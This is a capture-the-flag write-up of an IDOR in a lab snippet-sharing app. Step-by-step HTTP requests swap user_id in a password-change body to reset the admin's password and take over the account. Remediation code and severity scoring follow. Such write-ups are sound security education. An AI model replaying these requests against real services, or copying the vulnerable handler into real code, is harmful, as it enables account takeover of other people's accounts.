BugForge — 2026.03.24

Copypasta: IDOR Password Reset to Account Takeover

BugForge Broken Access Control easy

Overview

  • Platform: BugForge
  • Vulnerability: Insecure Direct Object Reference (IDOR) — password change endpoint trusts client-supplied user_id
  • Key Technique: Replacing user_id in the password change request body to target the admin account
  • Result: Changed admin password, logged in as admin, retrieved flag from private snippet

Objective

Find and exploit a vulnerability in the BugForge “Copypasta” snippet-sharing application to capture the flag.

Initial Access

# Target Application
URL: https://lab-1774391462968-snsyjs.labs-app.bugforge.io

# Auth details
POST /api/register with {username, password}
Returns JWT Bearer token (HS256, no expiry)
Registered as: haxor (id:5, role: user)

Key Findings

  1. IDOR on PUT /api/profile/password (CWE-639: Authorization Bypass Through User-Controlled Key) — The password change endpoint accepts user_id in the request body and uses it to determine whose password to update, instead of extracting the user identity from the authenticated JWT token. Any authenticated user can reset any other user’s password, including admin, leading to full account takeover.

Attack Chain Visualization

┌──────────────┐     ┌──────────────────┐     ┌──────────────────┐     ┌──────────────────┐
│   Register   │────▶│  Recon: Review    │────▶│  IDOR: Change    │────▶│  Login as Admin  │
│  (haxor)     │     │  JS bundle for   │     │  admin password   │     │  Retrieve flag   │
│  Get JWT     │     │  API endpoints   │     │  via user_id:1   │     │  from private    │
└──────────────┘     └──────────────────┘     └──────────────────┘     │  snippet         │
                                                                       └──────────────────┘

Application Architecture

Component Detail
Backend Express (Node.js)
Frontend React SPA (main.3f925b5d.js)
Auth JWT HS256 — payload: {id, username, iat}, no expiry, role not in token
Database SQLite (integer booleans, date format)

API Surface

Endpoint Method Auth Notes
/api/register POST No Returns JWT + user object
/api/login POST No Returns JWT
/api/verify-token GET Yes Returns user object with role
/api/profile/:username GET No Leaks role, email
/api/profile PUT Yes Updates full_name, bio, email
/api/profile/password PUT Yes VULN: accepts user_id in body
/api/snippets GET Yes Own snippets
/api/snippets/public GET No All public snippets
/api/snippets/share/:uuid GET No Single snippet by share code
/api/snippets/:id/like POST Yes
/api/snippets/:id/comments GET/POST Yes/Yes

Known Users

Username ID Role
admin 1 admin
coder123 2 user
pythonista 3 user
webdev 4 user
haxor 5 user (us)

Exploitation Path

Step 1: Register and Authenticate

POST /api/register HTTP/1.1
Content-Type: application/json

{
  "username": "haxor",
  "password": "password123"
}

Response returns JWT with payload {"id":5,"username":"haxor","iat":...}. Role is stored server-side only — fetched via /api/verify-token, not included in the JWT.

Step 2: Recon — Discover Password Change Sends user_id

Reviewing the React bundle (main.3f925b5d.js) revealed that the password change functionality sends a request to PUT /api/profile/password with both the new password and the user_id in the request body. This is a red flag — the user identity should come from the server-side JWT verification, not from client-supplied data.

PUT /api/profile/password HTTP/1.1
Authorization: Bearer <haxor_jwt>
Content-Type: application/json

{
  "password": "password",
  "user_id": 5
}

Step 3: IDOR — Change Admin Password

Modified the user_id from 5 (our user) to 1 (admin) while keeping our own JWT for authentication:

PUT /api/profile/password HTTP/1.1
Authorization: Bearer <haxor_jwt>
Content-Type: application/json

{
  "password": "pwned123",
  "user_id": 1
}

Response: 200 OK — the server accepted the request without verifying that the authenticated user (id:5) matches the target user_id (1).

Step 4: Login as Admin and Retrieve Flag

POST /api/login HTTP/1.1
Content-Type: application/json

{
  "username": "admin",
  "password": "pwned123"
}

Login succeeded — confirmed the admin password was changed. Used the admin JWT to access private snippets:

GET /api/snippets HTTP/1.1
Authorization: Bearer <admin_jwt>

Flag found in a private snippet on the admin account.


Flag / Objective Achieved

Vector Flag
IDOR on PUT /api/profile/password (user_id:1) → admin login → private snippet bug{Bm77EhRHP9YywvBbAZrXGRtktmYXKzK0}

Key Learnings

  • Never trust client-supplied identity for authorization decisions. The server had the user’s identity in the JWT (req.user.id from token verification), but the password change handler used req.body.user_id instead. The identity for sensitive operations must always come from the authenticated session, never from the request body.
  • Frontend code reveals backend assumptions. The React bundle showed that user_id was being sent in the password change request, immediately signaling that the backend might trust this value. JS bundle review is a high-value recon step.
  • IDOR on password change = full account takeover. Unlike IDOR on data access (read someone’s snippet) or IDOR on deletion (destroy a resource), IDOR on password change gives the attacker persistent access to the victim account. The impact severity is significantly higher.
  • Role separation via server-side lookup doesn’t help if identity is client-controlled. The app correctly kept the role out of the JWT and looked it up server-side, but this defense is irrelevant when the attacker can impersonate any user through the password change IDOR.

Failed Approaches

Approach Result Why It Failed
N/A — first hypothesis was correct The JS bundle review immediately revealed the vulnerability; no dead ends encountered

Tools Used

Tool Purpose
Caido HTTP proxy — API enumeration and request replay
Browser DevTools React bundle analysis, endpoint discovery
curl / HTTP client Direct API endpoint testing

Remediation

1. IDOR on Password Change — Client-Supplied user_id (CVSS: 9.1 - Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Issue: The PUT /api/profile/password endpoint accepts user_id from the request body and uses it to determine which user’s password to change. Any authenticated user can change any other user’s password, leading to full account takeover including admin accounts.

CWE Reference: CWE-639 — Authorization Bypass Through User-Controlled Key

Fix:

// BEFORE (Vulnerable)
router.put('/profile/password', authMiddleware, async (req, res) => {
  const { password, user_id } = req.body;
  const user = await User.findByPk(user_id);
  await user.update({ password: hash(password) });
  res.json({ message: 'Password updated' });
});

// AFTER (Secure)
router.put('/profile/password', authMiddleware, async (req, res) => {
  const { password } = req.body;
  // Always derive identity from the authenticated JWT — never from request body
  const user = await User.findByPk(req.user.id);
  await user.update({ password: hash(password) });
  res.json({ message: 'Password updated' });
});

Additional recommendations:

  • Remove user_id from the request body entirely — the frontend should not send it.
  • Require the current password before allowing a password change (CWE-620 mitigation).
  • Implement rate limiting on password change attempts.
  • Log all password change events with the requesting user’s identity for audit purposes.

2. Password Change Without Old Password Verification (CVSS: 5.4 - Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Issue: Even after fixing the IDOR, the password change endpoint does not require the current password. If a session is compromised (XSS, session fixation), the attacker can lock out the legitimate user.

CWE Reference: CWE-620 — Unverified Password Change

Fix:

// Require old password verification
router.put('/profile/password', authMiddleware, async (req, res) => {
  const { old_password, new_password } = req.body;
  const user = await User.findByPk(req.user.id);
  if (!await verify(old_password, user.password)) {
    return res.status(403).json({ error: 'Current password incorrect' });
  }
  await user.update({ password: hash(new_password) });
  res.json({ message: 'Password updated' });
});

OWASP Top 10 Coverage

  • A01:2021 — Broken Access Control: The core vulnerability. The password change endpoint uses a client-supplied identifier instead of the server-side authenticated identity, allowing any user to change any other user’s password.
  • A04:2021 — Insecure Design: Sending user_id in the request body for a password change is a design flaw. The identity for sensitive operations should never be client-controlled when an authenticated session exists.
  • A07:2021 — Identification and Authentication Failures: The password change does not require the current password, weakening account security even after the IDOR is fixed.

References


Tags: #idor #account-takeover #broken-access-control #password-reset #bugforge #webapp Document Version: 1.0 Last Updated: 2026-03-24

#IDOR #password-reset #account-takeover